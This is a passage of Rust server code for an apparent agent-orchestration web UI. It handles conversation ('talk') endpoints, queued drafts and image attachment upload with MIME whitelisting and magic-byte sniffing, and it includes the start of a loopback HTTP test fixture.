4643 header::CONTENT_DISPOSITION,
4644 HeaderValue::from_static("attachment"),
4645 );
4646 }
4647 res
4648}
4649
4650#[derive(Debug, Serialize)]
4656struct TalkView {
4657 #[serde(flatten)]
4658 talk: Talk,
4659 turn_bodies_md: Vec<Vec<md::Node>>,
4660 thinking: bool,
4668}
4669
4670impl TalkView {
4671 fn new(talk: Talk, thinking: bool) -> Self {
4672 let turn_bodies_md = talk
4673 .turns
4674 .iter()
4675 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
4676 .collect();
4677 Self {
4678 turn_bodies_md,
4679 thinking,
4680 talk,
4681 }
4682 }
4683}
4684
4685#[derive(Debug, Serialize)]
4690struct TalkDetailView {
4691 #[serde(flatten)]
4692 view: TalkView,
4693 tasks: Vec<TaskView>,
4694}
4695
4696async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
4701 blocking(move || {
4702 Ok(Json(
4703 ui.talks
4704 .list()
4705 .into_iter()
4706 .map(|talk| {
4707 let thinking = ui.is_thinking(&talk.id);
4708 TalkView::new(talk, thinking)
4709 })
4710 .collect(),
4711 ))
4712 })
4713 .await
4714}
4715
4716#[derive(Debug, Default, Deserialize)]
4721#[serde(default)]
4722struct NewTalk {
4723 agent: Option<String>,
4724 repo: Option<PathBuf>,
4725}
4726
4727async fn talk_post(
4730 State(ui): State<Arc<Ui>>,
4731 body: std::result::Result<Json<NewTalk>, JsonRejection>,
4732) -> ApiResult<impl IntoResponse> {
4733 let body = match body {
4737 Ok(Json(body)) => body,
4738 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
4739 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4740 };
4741 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
4742 let cfg = config_for(&repo).await?;
4743 let view = blocking(move || {
4744 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
4745 let thinking = ui.is_thinking(&talk.id);
4746 Ok(TalkView::new(talk, thinking))
4747 })
4748 .await?;
4749 Ok((StatusCode::CREATED, Json(view)))
4750}
4751
4752async fn talk_detail(
4754 State(ui): State<Arc<Ui>>,
4755 Path(id): Path<String>,
4756) -> ApiResult<Json<TalkDetailView>> {
4757 blocking(move || {
4758 let id = resolve_talk(&ui.talks, &id)?;
4759 let talk = ui.talks.get(&id)?;
4760 let thinking = ui.is_thinking(&talk.id);
4761 let tasks = talk::tasks_of(&ui.queue, &talk.id)
4762 .into_iter()
4763 .map(TaskView::from)
4764 .collect();
4765 Ok(Json(TalkDetailView {
4766 view: TalkView::new(talk, thinking),
4767 tasks,
4768 }))
4769 })
4770 .await
4771}
4772
4773#[derive(Debug, Default, Deserialize)]
4779#[serde(default, deny_unknown_fields)]
4780struct NewTalkTurn {
4781 text: String,
4782 attachments: Vec<String>,
4783}
4784
4785#[derive(Debug, Deserialize)]
4786#[serde(deny_unknown_fields)]
4787struct EditTalkPending {
4788 text: String,
4789 expected_text: String,
4790 expected_attachments: Vec<String>,
4791}
4792
4793#[derive(Debug, Deserialize)]
4794#[serde(deny_unknown_fields)]
4795struct ClearTalkPending {
4796 expected_text: String,
4797 expected_attachments: Vec<String>,
4798}
4799
4800async fn talk_say(
4812 State(ui): State<Arc<Ui>>,
4813 Path(id): Path<String>,
4814 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
4815) -> ApiResult<(StatusCode, Json<TalkView>)> {
4816 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4817 if body.text.trim().is_empty() && body.attachments.is_empty() {
4818 return Err(ApiError::bad_request("say something"));
4819 }
4820
4821 let id = {
4822 let ui = Arc::clone(&ui);
4823 let asked = id.clone();
4824 blocking(move || resolve_talk(&ui.talks, &asked)).await?
4825 };
4826 {
4830 let ui = Arc::clone(&ui);
4831 let id = id.clone();
4832 blocking(move || {
4833 let talk = ui.talks.get(&id)?;
4834 if !talk.status.open() {
4835 return Err(ApiError::conflict(format!(
4836 "talk {} is {} and takes no more turns",
4837 talk.short(),
4838 talk.status.as_str()
4839 )));
4840 }
4841 Ok(())
4842 })
4843 .await?;
4844 }
4845
4846 let attachments = {
4851 let ui = Arc::clone(&ui);
4852 let id = id.clone();
4853 let ids = body.attachments.clone();
4854 blocking(move || {
4855 ids.into_iter()
4856 .map(|att_id| {
4857 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
4858 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
4859 })
4860 })
4861 .collect::<ApiResult<Vec<talk::Attachment>>>()
4862 })
4863 .await?
4864 };
4865
4866 let start = {
4871 let ui = Arc::clone(&ui);
4872 let id = id.clone();
4873 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
4874 };
4875 let turn_guard = match start {
4876 TalkTurnStart::Claimed(turn_guard) => turn_guard,
4877 TalkTurnStart::Pending => {
4878 return Err(ApiError::conflict(
4879 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
4880 ));
4881 }
4882 TalkTurnStart::Busy => {
4883 let (tx, rx) = tokio::sync::oneshot::channel();
4899 tokio::spawn({
4900 let ui = Arc::clone(&ui);
4901 let id = id.clone();
4902 let said = body.text.clone();
4903 async move {
4904 let written = blocking({
4905 let ui = Arc::clone(&ui);
4906 let id = id.clone();
4907 move || {
4908 let mut talk = ui.talks.get(&id)?;
4909 #[cfg(test)]
4914 if let Some(gate) = ui
4915 .busy_queue_gate
4916 .lock()
4917 .unwrap_or_else(PoisonError::into_inner)
4918 .take()
4919 {
4920 let _ = gate.reached.send(());
4921 let _ = gate.release.recv();
4922 }
4923 if let Err(error) =
4924 talk::queue(&mut talk, &ui.talks, &said, attachments)
4925 {
4926 if let Ok(fresh) = ui.talks.get(&id) {
4927 if !fresh.status.open() {
4928 return Err(ApiError::conflict(format!(
4929 "talk {} is {} and takes no more turns",
4930 fresh.short(),
4931 fresh.status.as_str()
4932 )));
4933 }
4934 }
4935 return Err(ApiError::from(error));
4936 }
4937 let claim = match ui.begin_queued_talk_turn(&id)? {
4948 Some(turn_guard) => {
4949 let (cfg, _) = Config::discover(&talk.repo, None)?;
4950 Some((talk.clone(), cfg, turn_guard))
4951 }
4952 None => None,
4953 };
4954 let thinking = ui.is_thinking(&id);
4955 Ok((TalkView::new(talk, thinking), claim))
4956 }
4957 })
4958 .await;
4959 let (view, reclaimed) = match written {
4960 Ok(pair) => pair,
4961 Err(e) => {
4962 let _ = tx.send(Err(e));
4967 return;
4968 }
4969 };
4970 let _ = tx.send(Ok(view));
4973 if let Some((talk, cfg, turn_guard)) = reclaimed {
4974 let talks = ui.talks.clone();
4975 drain_loop(talk, talks, cfg, id, turn_guard).await;
4976 }
4977 }
4978 });
4979 let view = rx
4980 .await
4981 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4982 return Ok((StatusCode::ACCEPTED, Json(view)));
4983 }
4984 };
4985
4986 let (talk, cfg) = {
4987 let ui = Arc::clone(&ui);
4988 let id = id.clone();
4989 blocking(move || {
4990 let talk = ui.talks.get(&id)?;
4991 let (cfg, _) = Config::discover(&talk.repo, None)?;
4992 Ok((talk, cfg))
4993 })
4994 .await?
4995 };
4996
4997 let talks = ui.talks.clone();
4998 let (tx, rx) = tokio::sync::oneshot::channel();
5013 tokio::spawn({
5014 let ui = Arc::clone(&ui);
5015 let talks = talks.clone();
5016 let id = id.clone();
5017 let said = body.text.clone();
5018 let mut talk = talk.clone();
5019 async move {
5020 let recorded = blocking({
5021 let talks = talks.clone();
5022 move || {
5023 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
5024 if let Ok(fresh) = talks.get(&talk.id) {
5025 if !fresh.status.open() {
5026 return Err(ApiError::conflict(format!(
5027 "talk {} is {} and takes no more turns",
5028 fresh.short(),
5029 fresh.status.as_str()
5030 )));
5031 }
5032 }
5033 return Err(ApiError::from(error));
5034 }
5035 Ok((said.trim().to_owned(), talk))
5041 }
5042 })
5043 .await;
5044 let (text, mut talk) = match recorded {
5045 Ok(pair) => pair,
5046 Err(e) => {
5047 let _ = tx.send(Err(e));
5051 return;
5052 }
5053 };
5054 let queued = talk.clone();
5055 let thinking = ui.is_thinking(&id);
5056 let _ = tx.send(Ok((queued, thinking)));
5059
5060 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
5061 tracing::warn!("talk {id} turn failed: {e:#}");
5065 }
5066 drain_loop(talk, talks, cfg, id, turn_guard).await;
5069 }
5070 });
5071
5072 let (queued, thinking) = rx
5073 .await
5074 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5075
5076 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
5078}
5079
5080async fn talk_pending_resume(
5084 State(ui): State<Arc<Ui>>,
5085 Path(id): Path<String>,
5086) -> ApiResult<(StatusCode, Json<TalkView>)> {
5087 let id = {
5088 let ui = Arc::clone(&ui);
5089 let asked = id.clone();
5090 blocking(move || resolve_talk(&ui.talks, &asked)).await?
5091 };
5092 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
5093 return Err(ApiError::conflict(
5094 "a talk turn is already running; the queued draft will be handled by it",
5095 ));
5096 };
5097 let (talk, cfg) = {
5098 let ui = Arc::clone(&ui);
5099 let id = id.clone();
5100 blocking(move || {
5101 let talk = ui.talks.get(&id)?;
5102 if !talk.status.open() {
5103 return Err(ApiError::conflict(format!(
5104 "talk {} is {} and takes no more turns",
5105 talk.short(),
5106 talk.status.as_str()
5107 )));
5108 }
5109 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
5110 return Err(ApiError::conflict("there is no queued draft to resume"));
5111 }
5112 let (cfg, _) = Config::discover(&talk.repo, None)?;
5113 Ok((talk, cfg))
5114 })
5115 .await?
5116 };
5117 let view = TalkView::new(talk.clone(), true);
5118 let talks = ui.talks.clone();
5119 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5120 Ok((StatusCode::ACCEPTED, Json(view)))
5121}
5122
5123async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
5139 let live_set = Arc::clone(&turn.turns);
5140 let mut turn = Some(turn);
5148 loop {
5149 let observed = live_set
5153 .lock()
5154 .unwrap_or_else(PoisonError::into_inner)
5155 .queued
5156 .get(&id)
5157 .copied()
5158 .unwrap_or(0);
5159 let drained = blocking({
5160 let talks = talks.clone();
5161 move || {
5162 let result = talk::drain(&mut talk, &talks);
5163 Ok((talk, result))
5164 }
5165 })
5166 .await;
5167 let (next_talk, result) = match drained {
5168 Ok(drained) => drained,
5169 Err(e) => {
5170 tracing::warn!(
5171 status = %e.status,
5172 message = %e.message,
5173 "talk {id} could not start queued-text drain"
5174 );
5175 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5176 turn.take()
5177 .expect("held for the whole loop until released here")
5178 .release(&mut live);
5179 break;
5180 }
5181 };
5182 talk = next_talk;
5183 let drained = match result {
5184 Ok(Some(drained)) => drained,
5185 Ok(None) => {
5186 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5187 if live.queued.get(&id).copied().unwrap_or(0) != observed {
5188 continue;
5189 }
5190 turn.take()
5191 .expect("held for the whole loop until released here")
5192 .release(&mut live);
5193 break;
5194 }
5195 Err(e) => {
5196 tracing::warn!("talk {id} could not drain queued text: {e:#}");
5197 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5198 turn.take()
5199 .expect("held for the whole loop until released here")
5200 .release(&mut live);
5201 break;
5202 }
5203 };
5204 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
5205 tracing::warn!("talk {id} turn failed: {e:#}");
5206 }
5207 }
5208}
5209
5210async fn talk_pending_clear(
5212 State(ui): State<Arc<Ui>>,
5213 Path(id): Path<String>,
5214 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
5215) -> ApiResult<Json<TalkView>> {
5216 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5217 blocking(move || {
5218 let id = resolve_talk(&ui.talks, &id)?;
5219 let mut talk = ui.talks.get(&id)?;
5220 if !talk.status.open() {
5221 return Err(ApiError::conflict(format!(
5222 "talk {} is {} and takes no more turns",
5223 talk.short(),
5224 talk.status.as_str()
5225 )));
5226 }
5227 if !talk::clear_pending_if_matches(
5228 &mut talk,
5229 &ui.talks,
5230 &body.expected_text,
5231 &body.expected_attachments,
5232 )? {
5233 return Err(ApiError::conflict(
5234 "queued message changed; reload it before clearing",
5235 ));
5236 }
5237 let thinking = ui.is_thinking(&talk.id);
5238 Ok(Json(TalkView::new(talk, thinking)))
5239 })
5240 .await
5241}
5242
5243async fn talk_pending_edit(
5247 State(ui): State<Arc<Ui>>,
5248 Path(id): Path<String>,
5249 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
5250) -> ApiResult<Json<TalkView>> {
5251 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5252 let (view, reclaimed) = blocking({
5253 let ui = Arc::clone(&ui);
5254 move || {
5255 let id = resolve_talk(&ui.talks, &id)?;
5256 let mut talk = ui.talks.get(&id)?;
5257 if !talk.status.open() {
5258 return Err(ApiError::conflict(format!(
5259 "talk {} is {} and takes no more turns",
5260 talk.short(),
5261 talk.status.as_str()
5262 )));
5263 }
5264 if !talk::edit_pending_text(
5265 &mut talk,
5266 &ui.talks,
5267 &body.text,
5268 &body.expected_text,
5269 &body.expected_attachments,
5270 )? {
5271 return Err(ApiError::conflict(
5272 "queued message changed; reload it before editing",
5273 ));
5274 }
5275 let claim = match ui.begin_queued_talk_turn(&id)? {
5276 Some(turn_guard) => {
5277 let (cfg, _) = Config::discover(&talk.repo, None)?;
5278 Some((talk.clone(), cfg, id.clone(), turn_guard))
5279 }
5280 None => None,
5281 };
5282 let thinking = ui.is_thinking(&id);
5283 Ok((TalkView::new(talk, thinking), claim))
5284 }
5285 })
5286 .await?;
5287 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
5288 let talks = ui.talks.clone();
5289 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5290 }
5291 Ok(Json(view))
5292}
5293
5294async fn talk_close(
5296 State(ui): State<Arc<Ui>>,
5297 Path(id): Path<String>,
5298) -> ApiResult<Json<TalkView>> {
5299 blocking(move || {
5300 let id = resolve_talk(&ui.talks, &id)?;
5301 let mut talk = ui.talks.get(&id)?;
5302 talk::close(&mut talk, &ui.talks)?;
5303 let thinking = ui.is_thinking(&talk.id);
5304 Ok(Json(TalkView::new(talk, thinking)))
5305 })
5306 .await
5307}
5308
5309async fn talk_reopen(
5311 State(ui): State<Arc<Ui>>,
5312 Path(id): Path<String>,
5313) -> ApiResult<Json<TalkView>> {
5314 blocking(move || {
5315 let id = resolve_talk(&ui.talks, &id)?;
5316 let mut talk = ui.talks.get(&id)?;
5317 talk::reopen(&mut talk, &ui.talks)?;
5318 let thinking = ui.is_thinking(&talk.id);
5319 Ok(Json(TalkView::new(talk, thinking)))
5320 })
5321 .await
5322}
5323
5324async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5334 blocking(move || {
5335 let id = resolve_talk(&ui.talks, &id)?;
5336 ui.talks.remove(&id)?;
5337 Ok(StatusCode::NO_CONTENT)
5338 })
5339 .await
5340}
5341
5342fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
5344 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
5345}
5346
5347async fn talk_attachment_post(
5350 State(ui): State<Arc<Ui>>,
5351 Path(id): Path<String>,
5352 headers: HeaderMap,
5353 body: Bytes,
5354) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
5355 let mime = validate_attachment(&headers, &body)?;
5356 let name = filename_header(&headers);
5357 let data = body.to_vec();
5358 blocking(move || {
5359 let id = resolve_talk(&ui.talks, &id)?;
5360 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
5361 Ok((StatusCode::CREATED, Json(att)))
5362 })
5363 .await
5364}
5365
5366async fn talk_attachment_get(
5369 State(ui): State<Arc<Ui>>,
5370 Path((id, att)): Path<(String, String)>,
5371) -> ApiResult<Response> {
5372 blocking(move || {
5373 let id = resolve_talk(&ui.talks, &id)?;
5374 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
5375 return Err(ApiError::not_found(format!(
5376 "talk {id} has no attachment `{att}`"
5377 )));
5378 };
5379 Ok(attachment_response(&meta.mime, data))
5380 })
5381 .await
5382}
5383
5384fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
5395 if data.len() > ATTACHMENT_MAX_BYTES {
5396 return Err(ApiError::bad_request(format!(
5397 "attachment is {} bytes, over the {} MiB limit",
5398 data.len(),
5399 ATTACHMENT_MAX_BYTES / (1024 * 1024)
5400 ))
5401 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
5402 }
5403 if data.is_empty() {
5404 return Err(ApiError::bad_request("attachment is empty"));
5405 }
5406 let declared = declared_mime(headers)?;
5407 match sniffed_mime(data) {
5408 Some(sniffed) if sniffed == declared => Ok(declared),
5409 Some(sniffed) => Err(ApiError::bad_request(format!(
5410 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
5411 ))),
5412 None => Err(ApiError::bad_request(
5413 "the file's bytes do not match any accepted image format",
5414 )),
5415 }
5416}
5417
5418fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
5422 let raw = headers
5423 .get(header::CONTENT_TYPE)
5424 .and_then(|v| v.to_str().ok())
5425 .unwrap_or("")
5426 .split(';')
5427 .next()
5428 .unwrap_or("")
5429 .trim()
5430 .to_ascii_lowercase();
5431 ATTACHMENT_MIME_WHITELIST
5432 .iter()
5433 .find(|&&m| m == raw)
5434 .copied()
5435 .ok_or_else(|| {
5436 if raw == "image/svg+xml" {
5437 ApiError::bad_request(
5438 "SVG is not accepted: it can carry active content (e.g. a <script>), \
5439 not just a picture",
5440 )
5441 } else if raw.is_empty() {
5442 ApiError::bad_request("Content-Type is required for an attachment upload")
5443 } else {
5444 ApiError::bad_request(format!(
5445 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
5446 image/gif or image/webp"
5447 ))
5448 }
5449 })
5450}
5451
5452fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
5455 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
5456 Some("image/png")
5457 } else if data.starts_with(b"\xff\xd8\xff") {
5458 Some("image/jpeg")
5459 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
5460 Some("image/gif")
5461 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
5462 Some("image/webp")
5463 } else {
5464 None
5465 }
5466}
5467
5468fn filename_header(headers: &HeaderMap) -> String {
5474 headers
5475 .get(FILENAME_HEADER)
5476 .and_then(|v| v.to_str().ok())
5477 .map(str::trim)
5478 .filter(|s| !s.is_empty())
5479 .unwrap_or("attachment")
5480 .to_owned()
5481}
5482
5483fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
5490 let content_type = ATTACHMENT_MIME_WHITELIST
5491 .iter()
5492 .find(|&&m| m == mime)
5493 .copied()
5494 .unwrap_or("application/octet-stream");
5495 (
5496 [
5497 (header::CONTENT_TYPE, content_type),
5498 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5499 ],
5500 body,
5501 )
5502 .into_response()
5503}
5504
5505async fn config_for(repo: &FsPath) -> ApiResult<Config> {
5513 let repo = repo.to_path_buf();
5514 blocking(move || {
5515 let (cfg, _) = Config::discover(&repo, None)?;
5516 Ok(cfg)
5517 })
5518 .await
5519}
5520
5521fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
5527 let mut hits = ids
5528 .into_iter()
5529 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
5530 match (hits.next(), hits.next()) {
5531 (Some(one), None) => Ok(one),
5532 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
5533 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
5534 "`{prefix}` matches more than one {what}, including {a} and {b}"
5535 ))),
5536 }
5537}
5538
5539#[cfg(test)]
5540mod tests {
5541
5542 #[test]
5543 fn holder_reads_the_lease_not_the_record() {
5544 let mut q = Question::new(
5545 "run".to_owned(),
5546 "implement".to_owned(),
5547 "impl-A".to_owned(),
5548 "which?".to_owned(),
5549 String::new(),
5550 Vec::new(),
5551 );
5552 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
5553 q.cwd = Some("/tmp".to_owned());
5554 assert_eq!(holder_of(&q, None), Some("nobody"));
5555 let beat = |kind, ago: i64| ask::Lease {
5556 kind,
5557 pid: 1,
5558 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
5559 .unwrap(),
5560 };
5561 let fresh = beat(ask::WaiterKind::Asker, 1);
5562 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
5563 let daemon = beat(ask::WaiterKind::Daemon, 1);
5564 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
5565 let stale = beat(ask::WaiterKind::Asker, 3600);
5566 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
5567 }
5568 use pretty_assertions::assert_eq;
5569 use serde_json::Value;
5570 use tempfile::TempDir;
5571 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
5572
5573 use super::*;
5574 use crate::config::Config;
5575 use crate::queue::Source;
5576
5577 const SETTLE_STEPS: usize = 3_000;
5588
5589 struct Fixture {
5595 home: TempDir,
5596 addr: SocketAddr,
5597 }
5598
5599 impl Fixture {
5600 async fn start() -> Self {
5601 Self::with_loop(launch_idle).await
5602 }
5603
5604 async fn with_loop(launch: Launch) -> Self {
5606 let home = TempDir::new().expect("temp home");
5607 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
5608 Self { home, addr }
5609 }
5610
5611 async fn with_repo(repo: PathBuf) -> Self {
5615 let home = TempDir::new().expect("temp home");
5616 let addr = Self::serve(home.path(), repo, launch_idle).await;
5617 Self { home, addr }
5618 }
5619
5620 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
5621 let queue = Queue::at(home.join("queue"));
5622 let runs = home.join("runs");
5623 std::fs::create_dir_all(&runs).expect("runs dir");
5624 let worktrees = home.join("wt").join("magi");
5625 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
5626 let ui = Ui::new(
5627 queue,
5628 Questions::at(home.join("questions")),
5629 Talks::at(home.join("talks")),
5630 runs,
5631 home.to_path_buf(),
5632 repo,
5633 )
5634 .with_worktrees_root(worktrees)
5635 .with_launch(launch);
5636 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
5637 .await
5638 .expect("bind loopback");
5639 let addr = listener.local_addr().expect("local addr");
5640 tokio::spawn(async move {
5641 let _ = axum::serve(listener, ui.router()).await;
5642 });
5643 addr
5644 }
5645
5646 fn queue(&self) -> Queue {
5647 Queue::at(self.home.path().join("queue"))
5648 }
5649
5650 fn questions(&self) -> Questions {
5651 Questions::at(self.home.path().join("questions"))
5652 }
5653
5654 fn talks(&self) -> Talks {
5655 Talks::at(self.home.path().join("talks"))
5656 }
5657
5658 fn runs(&self) -> PathBuf {
5659 self.home.path().join("runs")
5660 }
5661
5662 async fn get(&self, path: &str) -> Res {
5663 request(self.addr, "GET", path, None).await
5664 }
5665
5666 async fn head(&self, path: &str) -> Res {
5671 request(self.addr, "HEAD", path, None).await
5672 }
5673
5674 async fn post(&self, path: &str, body: Option<&str>) -> Res {
5675 request(self.addr, "POST", path, body).await
5676 }
5677
5678 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
5679 request_with(self.addr, "GET", path, None, extra).await
5680 }
5681
5682 async fn delete(&self, path: &str) -> Res {
5683 request(self.addr, "DELETE", path, None).await
5684 }
5685
5686 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
5688 request_bytes(self.addr, path, headers, body).await
5689 }
5690 }
5691
5692 struct Res {
5693 status: u16,
5694 headers: String,
5695 head: String,
5700 body: String,
5701 bytes: Vec<u8>,
5705 }
5706
5707 impl Res {
5708 fn json(&self) -> Value {
5709 serde_json::from_str(&self.body)
5710 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
5711 }
5712
5713 fn header(&self, name: &str) -> Option<&str> {
5715 self.head.lines().find_map(|line| {
5716 let (key, value) = line.split_once(':')?;
5717 key.trim()
5718 .eq_ignore_ascii_case(name)
5719 .then(|| value.trim_start().trim_end_matches('\r'))
5720 })
5721 }
5722 }
5723
5724 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
5727 request_with(addr, method, path, body, &[]).await
5728 }
5729
5730 async fn request_with(
5734 addr: SocketAddr,
5735 method: &str,
5736 path: &str,
5737 body: Option<&str>,
5738 extra: &[(&str, &str)],
5739 ) -> Res {
5740 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5741 for (name, value) in extra {
5742 head.push_str(&format!("{name}: {value}\r\n"));
5743 }
5744 if let Some(body) = body {
5745 head.push_str("Content-Type: application/json\r\n");
5746 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
5747 }
5748 head.push_str("\r\n");
5749 if let Some(body) = body {
5750 head.push_str(body);
5751 }
5752 let mut socket = tokio::net::TcpStream::connect(addr)
5753 .await
5754 .expect("connect to the test server");
5755 socket
5756 .write_all(head.as_bytes())
5757 .await
5758 .expect("write request");
5759 let mut raw = Vec::new();
5760 socket.read_to_end(&mut raw).await.expect("read response");
5761 let split = raw
5764 .windows(4)
5765 .position(|w| w == b"\r\n\r\n")
5766 .expect("a header block");
5767 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5768 let bytes = raw[split + 4..].to_vec();
5769 let status = head
5770 .lines()
5771 .next()
5772 .and_then(|line| line.split_whitespace().nth(1))
5773 .and_then(|code| code.parse().ok())
5774 .expect("a status line");
5775 Res {
5776 status,
5777 headers: head.to_lowercase(),
5778 head,
5779 body: String::from_utf8_lossy(&bytes).into_owned(),
5780 bytes,
5781 }
5782 }
5783
5784 async fn request_bytes(
5790 addr: SocketAddr,
5791 path: &str,
5792 headers: &[(&str, &str)],
5793 body: &[u8],
5794 ) -> Res {
5795 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5796 for (name, value) in headers {
5797 head.push_str(&format!("{name}: {value}\r\n"));
5798 }
5799 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
5800 let mut socket = tokio::net::TcpStream::connect(addr)
5801 .await
5802 .expect("connect to the test server");
5803 socket
5804 .write_all(head.as_bytes())
5805 .await
5806 .expect("write request head");
5807 socket.write_all(body).await.expect("write request body");
5808 let mut raw = Vec::new();
5809 socket.read_to_end(&mut raw).await.expect("read response");
5810 let split = raw
5811 .windows(4)
5812 .position(|w| w == b"\r\n\r\n")
5813 .expect("a header block");
5814 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5815 let bytes = raw[split + 4..].to_vec();
5816 let status = head
5817 .lines()
5818 .next()
5819 .and_then(|line| line.split_whitespace().nth(1))
5820 .and_then(|code| code.parse().ok())
5821 .expect("a status line");
5822 Res {
5823 status,
5824 headers: head.to_lowercase(),
5825 head,
5826 body: String::from_utf8_lossy(&bytes).into_owned(),
5827 bytes,
5828 }
5829 }
5830
5831 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
5833 let mut state = RunState::new(
5834 PathBuf::from("/repo/magi"),
5835 "main".to_owned(),
5836 "0123456789abcdef".to_owned(),
5837 "Add a web UI\n\nMobile first.".to_owned(),
5838 Config::default(),
5839 );
5840 state.id = id.to_owned();
5841 state.status = status;
5842 let dir = runs.join(id);
5843 std::fs::create_dir_all(&dir).expect("run dir");
5844 std::fs::write(
5845 dir.join("run.json"),
5846 serde_json::to_string_pretty(&state).expect("serialize run"),
5847 )
5848 .expect("write run.json");
5849 }
5850
5851 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
5855 let mut state = RunState::new(
5856 PathBuf::from(repo),
5857 "main".to_owned(),
5858 "0123456789abcdef".to_owned(),
5859 "task".to_owned(),
5860 Config::default(),
5861 );
5862 state.id = id.to_owned();
5863 state.status = status;
5864 let dir = runs.join(id);
5865 std::fs::create_dir_all(&dir).expect("run dir");
5866 std::fs::write(
5867 dir.join("run.json"),
5868 serde_json::to_string_pretty(&state).expect("serialize run"),
5869 )
5870 .expect("write run.json");
5871 }
5872
5873 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
5874 let body = serde_json::json!({
5875 "schema": 1,
5876 "pid": 4242,
5877 "started_at": Timestamp::now().to_string(),
5878 "updated_at": updated_at.to_string(),
5879 "idle": false,
5880 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
5881 "completed": 7,
5882 "polls": 143,
5883 });
5884 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
5885 }
5886
5887 fn launch_idle(
5897 _opts: daemon::Opts,
5898 stop: daemon::Stop,
5899 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5900 Box::pin(async move {
5901 while !stop.stopped() {
5902 tokio::time::sleep(Duration::from_millis(2)).await;
5903 }
5904 Ok(())
5905 })
5906 }
5907
5908 fn launch_broken(
5911 _opts: daemon::Opts,
5912 _stop: daemon::Stop,
5913 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5914 Box::pin(async {
5915 Err(anyhow::anyhow!(
5916 "publish the daemon status file: read-only file system"
5917 ))
5918 })
5919 }
5920
